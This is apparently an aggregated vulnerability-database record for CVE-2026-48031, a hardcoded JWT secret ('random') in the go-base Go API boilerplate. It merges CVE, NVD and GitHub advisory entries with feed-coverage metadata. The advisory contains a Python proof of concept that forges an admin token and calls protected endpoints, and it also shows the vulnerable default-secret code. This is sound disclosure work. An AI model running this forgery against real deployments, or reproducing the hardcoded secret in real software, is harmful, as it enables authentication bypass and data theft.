{"id":"CVE-2026-48031","revision":null,"records":[{"revision":"aed705860d204f618bdfdbbeee545f41","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-48031","aliases":[],"title":"Go Restful API Boilerplate: Hardcoded JWT Secret \"random\" Allows Token Forgery","description":"go-base is a Go RESTful API Boilerplate template with JWT Authentication, backed by PostgreSQL. In versions prior to 2026-05-18, the JWT signing secret is hardcoded to the known string \"random\", letting any attacker who reads the public repository forge tokens for arbitrary users, including admin roles, and completely bypass authentication on all protected endpoints. This value is set in two places: the dev.env template (line 10) and a programmatic fallback in cmd/serve.go (line 35), so the application uses it even when no .env file is present. The original mitigation in auth/jwt/tokenauth.go (lines 22 to 25) only caught the exact string \"random\", letting other weak secrets through, and replaced it with an in-memory key that was not persisted, invalidating all tokens on every restart and effectively causing a denial-of-service. This issue has been fixed in version 2026-05-18.","state":0,"publishedAt":"2026-08-03T19:05:50.679+00:00","modifiedAt":"2026-08-03T19:49:15.909+00:00","affected":[{"ecosystem":"Vendor product","name":"go-base","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"dhax\",\n                    \"product\": \"go-base\",\n                    \"versions\": [\n                        {\n                            \"version\": \"2026-05-18\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","score":9.1,"severity":"CRITICAL"}],"references":["https://github.com/dhax/go-base/security/advisories/GHSA-mqq6-462x-jxmm","https://github.com/dhax/go-base/pull/31","https://github.com/dhax/go-base/commit/cc82b9740fa6b08e0fad409cd4b418e240dd0e00"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-48031","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-48031","identifiers":["CVE-2026-48031"]},"retained":false,"historicalAffected":[]},{"revision":"912baa090a284c2dabf2f090990c11a8","observedAt":"2026-10-25T12:17:26.301+00:00","statement":{"source":"nvd","id":"CVE-2026-48031","aliases":[],"title":"go-base is a Go RESTful API Boilerplate template with JWT Authentication, backed by PostgreSQL. In versions prior to 2026-05-18, the JWT signing secret is hardcoded to the known string \"random\", letting any attacker who reads the public rep…","description":"go-base is a Go RESTful API Boilerplate template with JWT Authentication, backed by PostgreSQL. In versions prior to 2026-05-18, the JWT signing secret is hardcoded to the known string \"random\", letting any attacker who reads the public repository forge tokens for arbitrary users, including admin roles, and completely bypass authentication on all protected endpoints. This value is set in two places: the dev.env template (line 10) and a programmatic fallback in cmd/serve.go (line 35), so the application uses it even when no .env file is present. The original mitigation in auth/jwt/tokenauth.go (lines 22 to 25) only caught the exact string \"random\", letting other weak secrets through, and replaced it with an in-memory key that was not persisted, invalidating all tokens on every restart and effectively causing a denial-of-service. This issue has been fixed in version 2026-05-18.","state":0,"publishedAt":"2026-08-03T20:17:24.2+00:00","modifiedAt":"2026-10-23T21:10:00.157+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","score":9.1,"severity":"CRITICAL"}],"references":["https://github.com/dhax/go-base/commit/cc82b9740fa6b08e0fad409cd4b418e240dd0e00","https://github.com/dhax/go-base/pull/31","https://github.com/dhax/go-base/security/advisories/GHSA-mqq6-462x-jxmm"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-48031","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-798"],"productCriteria":[],"sourceDates":{"published":"2026-08-03T20:17:24.200","lastModified":"2026-10-23T21:10:00.157"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-48031","identifiers":["CVE-2026-48031"]},"retained":false,"historicalAffected":[]},{"revision":"a2fd805db10343d99c352e77c85ba886","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-mqq6-462x-jxmm","aliases":["CVE-2026-48031","GO-2026-5515"],"title":"Go Restful API Boilerplate: Hardcoded JWT Secret \"random\" Allows Token Forgery","description":"## Vulnerability: CWE-798 — Hardcoded JWT Secret + Broken Mitigation\n\n### Affected Component\n- `github.com/dhax/go-base` — Go REST API boilerplate (go-chi/jwtauth/v5, Viper, PostgreSQL/Bun)\n- 1,685 stars on GitHub\n\n### Vulnerability Locations\n\n| File | Line | Role |\n|------|------|------|\n| `dev.env` | 10 | `AUTH_JWT_SECRET=random` — template default shipped to all users |\n| `cmd/serve.go` | 35 | `viper.SetDefault(\"auth_jwt_secret\", \"random\")` — code-level fallback |\n| `auth/jwt/tokenauth.go` | 22-25 | Weak mitigation: only checked literal `\"random\"`, auto-generated non-persistent key |\n| `auth/jwt/tokenauth.go` | 28 | `jwtauth.New(\"HS256\", []byte(secret), nil)` — creates JWT signer with the weak key |\n| `pwdless/api.go` | 203 | `GenTokenPair()` — issues access + refresh tokens signed with the weak key |\n\n### Data Flow\n\n```\ndev.env AUTH_JWT_SECRET=random\n  OR\ncmd/serve.go viper.SetDefault(\"auth_jwt_secret\", \"random\")\n    │\n    ▼\nauth/jwt/tokenauth.go: viper.GetString(\"auth_jwt_secret\")\n    │\n    ▼\nauth/jwt/tokenauth.go: jwtauth.New(\"HS256\", []byte(secret), nil)\n    │\n    ▼\npwdless/api.go: GenTokenPair() → access + refresh tokens\n    │\n    ▼\njwt/authenticator.go: Every authenticated request trusts the forged token\n```\n\n### Description\n\nThe JWT signing secret is hardcoded to the string `\"random\"` in **two independent locations**:\n\n1. **`dev.env:10`** — The template `.env` file sets `AUTH_JWT_SECRET=random`. Every developer who copies this template gets the same default.\n\n2. **`cmd/serve.go:35`** — `viper.SetDefault(\"auth_jwt_secret\", \"random\")` provides a programmatic fallback. Even if the `.env` file is missing entirely, the application silently starts with `\"random\"` as the signing key.\n\nThe original code contained a mitigation in `auth/jwt/tokenauth.go:22-25` that checked if the secret equaled `\"random\"` and replaced it with a randomly-generated 32-byte string. This mitigation had **two fatal flaws**:\n\n- **(a) Single-value check**: Only the exact string `\"random\"` was caught. Any other weak secret (e.g., `\"secret\"`, `\"changeme\"`, empty string) passed through unchecked.\n- **(b) Non-persistent replacement**: The auto-generated key was stored only in memory (`randStringBytes(32)`), not persisted. On **every restart**, all existing tokens became invalid without warning, breaking all active user sessions. This made the \"fix\" itself a denial-of-service.\n\nAn attacker who reads the public repository knows the signing key is `\"random\"`. They can forge JWT tokens for arbitrary users (including admin roles), gaining complete authentication bypass on all protected API endpoints.\n\n### Proof of Concept\n\n```python\nimport jwt\nimport requests\n\n# The hardcoded secret from dev.env / serve.go (public repository)\nSECRET = \"random\"\nBASE_URL = \"http://target:3000\"\n\n# Step 1: Forge an admin JWT token\npayload = {\n    \"sub\": \"admin@example.com\",\n    \"roles\": [\"admin\"],\n    \"iat\": 9999999000,\n    \"exp\": 9999999999\n}\nforged_token = jwt.encode(payload, SECRET, algorithm=\"HS256\")\n\n# Step 2: Access any protected endpoint with the forged token\nheaders = {\"Authorization\": f\"Bearer {forged_token}\"}\n\n# List all users (requires admin)\nr = requests.get(f\"{BASE_URL}/api/v1/admin/users\", headers=headers)\nprint(f\"Status: {r.status_code}\")  # 200 OK\n\n# Access own profile with forged identity\nr = requests.get(f\"{BASE_URL}/api/v1/me\", headers=headers)\nprint(f\"Profile: {r.json()}\")  # Returns admin@example.com profile\n\n# The forged token is also accepted by refresh endpoints\nr = requests.post(f\"{BASE_URL}/api/v1/token/refresh\", headers=headers)\n# Returns a new valid token signed with the same \"random\" secret\n```\n\n### Impact\n\n- **Authentication Bypass**: Forge tokens for any user, including admin roles\n- **Confidentiality**: Access all user data, profiles, and protected resources\n- **Integrity**: Modify any data accessible via the API\n- **Persistence**: Forged tokens remain valid until expiry (or indefinitely via refresh)\n\n### Fix (PR #31)\n\nThe fix replaced the single-value check with a comprehensive approach:\n\n```go\n// BEFORE (tokenauth.go:22-25) — weak, single-value check\nif secret == \"random\" {\n    secret = randStringBytes(32) // non-persistent, breaks on restart\n}\n\n// AFTER — comprehensive known-weak-secrets map\nvar knownWeakSecrets = map[string]bool{\n    \"random\": true,\n    \"secret\": true,\n    \"changeme\": true,\n    \"change-me\": true,\n    \"default\": true,\n    \"\": true,\n}\n\nif knownWeakSecrets[secret] {\n    log.Fatal(\"JWT secret is a known weak value. Please set a strong AUTH_JWT_SECRET.\")\n}\n```\n\nPlus: minimum 32-character length check, removal of non-persistent auto-generation, and clear generation instructions (`openssl rand -base64 32`) in the template.\n\n### Patched Versions\n\n- All versions after commit range including PR#31 (merged May 17, 2026).\n- Users should update to the latest master, regenerate their JWT secret, and restart.\n\n### Resources\n\n- Fix PR: https://github.com/dhax/go-base/pull/31\n- Commit history: https://github.com/dhax/go-base/commits/master\n\n### Credit\n\nReported by @saaa99999999 via manual security audit.","state":0,"publishedAt":"2026-06-10T13:39:18+00:00","modifiedAt":"2026-06-25T23:11:06.8176597+00:00","affected":[{"ecosystem":"Go","name":"github.com/dhax/go-base","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.0.0-20260517152733-cc82b9740fa6"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/dhax/go-base/security/advisories/GHSA-mqq6-462x-jxmm","https://github.com/dhax/go-base/commit/cc82b9740fa6b08e0fad409cd4b418e240dd0e00","https://github.com/dhax/go-base"],"sourceUrl":"https://github.com/advisories/GHSA-mqq6-462x-jxmm","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-mqq6-462x-jxmm","identifiers":["GHSA-mqq6-462x-jxmm","CVE-2026-48031","GO-2026-5515"]},"retained":false,"historicalAffected":[]},{"revision":"7dddfb457c884a189f129aa45d396d20","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5515","aliases":["CVE-2026-48031","GHSA-mqq6-462x-jxmm"],"title":"Go Restful API Boilerplate: Hardcoded JWT Secret \"random\" Allows Token Forgery in github.com/dhax/go-base","description":"Go Restful API Boilerplate: Hardcoded JWT Secret \"random\" Allows Token Forgery in github.com/dhax/go-base","state":0,"publishedAt":"2026-06-25T22:34:34+00:00","modifiedAt":"2026-06-25T23:01:19.2350623+00:00","affected":[{"ecosystem":"Go","name":"github.com/dhax/go-base","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.0.0-20260517152733-cc82b9740fa6"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/dhax/go-base/security/advisories/GHSA-mqq6-462x-jxmm","https://github.com/dhax/go-base/commit/cc82b9740fa6b08e0fad409cd4b418e240dd0e00"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5515","license":"OSV · upstream source license applies","key":"osv:GO-2026-5515","identifiers":["GO-2026-5515","CVE-2026-48031","GHSA-mqq6-462x-jxmm"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-10-26T15:37:14.6597162+00:00","complete":true,"records":1756,"lastAttemptAt":"2026-10-26T15:37:14.6597162+00:00","lastSuccessAt":"2026-10-26T15:37:14.8359072+00:00","error":null,"lastVerifiedAt":"2026-10-26T15:37:14.835909+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-5ba1945314e042c2ced14b33f3680fa71692812d925544312b218f5eb8a26e71-1bd091fc7fc10547d7167a606edbc49905944b97501a7ab971c3b58807479a43","complete":true,"records":414270,"lastAttemptAt":"2026-10-26T15:35:34.7444644+00:00","lastSuccessAt":"2026-10-26T15:35:34.5655912+00:00","error":null,"lastVerifiedAt":"2026-10-26T15:35:34.7444644+00:00","snapshotPublishedAt":"2026-10-26T15:15:44+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-43321610382942b8ad8c85917eab1546","complete":false,"records":4735,"lastAttemptAt":"2026-10-26T15:37:42.3202578+00:00","lastSuccessAt":"2026-10-24T23:18:49.862+00:00","error":"InvalidDataException","lastVerifiedAt":"2026-10-24T23:18:49.862+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":3564,"expectedIdentifiers":13477},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-10-26T15:37:14.6597162+00:00","complete":true,"records":1093,"lastAttemptAt":"2026-10-26T15:37:14.6597162+00:00","lastSuccessAt":"2026-10-26T15:37:14.8367292+00:00","error":null,"lastVerifiedAt":"2026-10-26T15:37:14.8367325+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-f470a37230314a1cb4fdd0380273a29f","complete":true,"records":13416,"lastAttemptAt":"2026-10-26T15:37:40.3021752+00:00","lastSuccessAt":"2026-10-26T15:37:40.298+00:00","error":null,"lastVerifiedAt":"2026-10-26T15:37:40.298+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13477,"expectedIdentifiers":13477},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-c3121b113ecd88f1c92ccfa0ec9757ddc8386e4c12afd2597450b815744f800a","complete":true,"records":9779,"lastAttemptAt":"2026-10-26T15:37:14.5249967+00:00","lastSuccessAt":"2026-10-26T15:37:14.3083004+00:00","error":null,"lastVerifiedAt":"2026-10-26T15:37:14.5249967+00:00","snapshotPublishedAt":"2026-10-26T14:48:41+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-16ad89dfea13ab9e9b0108e63a759d63bd4559cc68b58491107d62ee35bbbaf2","complete":true,"records":1965,"lastAttemptAt":"2026-10-26T15:35:34.8406753+00:00","lastSuccessAt":"2026-10-23T16:01:26.4487605+00:00","error":null,"lastVerifiedAt":"2026-10-26T15:35:34.8406753+00:00","snapshotPublishedAt":"2026-10-21T12:18:07+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-a393d8fe0ae8408f3e4cab413b76047090c8e4a3c0a186c79edf33c9a3d3af95","complete":true,"records":2995,"lastAttemptAt":"2026-10-26T15:37:14.6306288+00:00","lastSuccessAt":"2026-10-26T14:35:47.9640893+00:00","error":null,"lastVerifiedAt":"2026-10-26T15:37:14.6306288+00:00","snapshotPublishedAt":"2026-10-26T14:18:55+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-e462c1c8904fe18fc1ab10d13d0abcd333d928efa63a77a5731657497361d59c","complete":true,"records":230805,"lastAttemptAt":"2026-10-26T15:37:06.3736048+00:00","lastSuccessAt":"2026-10-26T15:37:05.2219961+00:00","error":null,"lastVerifiedAt":"2026-10-26T15:37:06.3736048+00:00","snapshotPublishedAt":"2026-10-26T14:48:44+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null}]}